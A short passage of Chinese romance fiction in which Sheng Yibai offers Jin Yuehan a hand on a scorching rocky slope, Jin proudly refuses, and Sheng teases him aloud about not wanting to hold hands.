砂石不断磨砺着他的手掌,滚烫的温度透过鞋底灼烤双脚,黑色岩石反射的强光刺得眼睛生疼。 就在他想要放弃时,盛屹白走到半山腰位置,朝他伸出手。 “我拉你上去。” 靳越寒仰头看着他,像只傲娇的小猫,说了句不要。 盛屹白依旧伸着手,靳越寒撇开脸假装没看见,从另一边开始上去。就在他往前迈出一步时,头顶响起盛屹白的声音。 “靳、越、寒。” 他刻意说大声了些,让所有人都能听见。 “你就这么不想牵我的手?”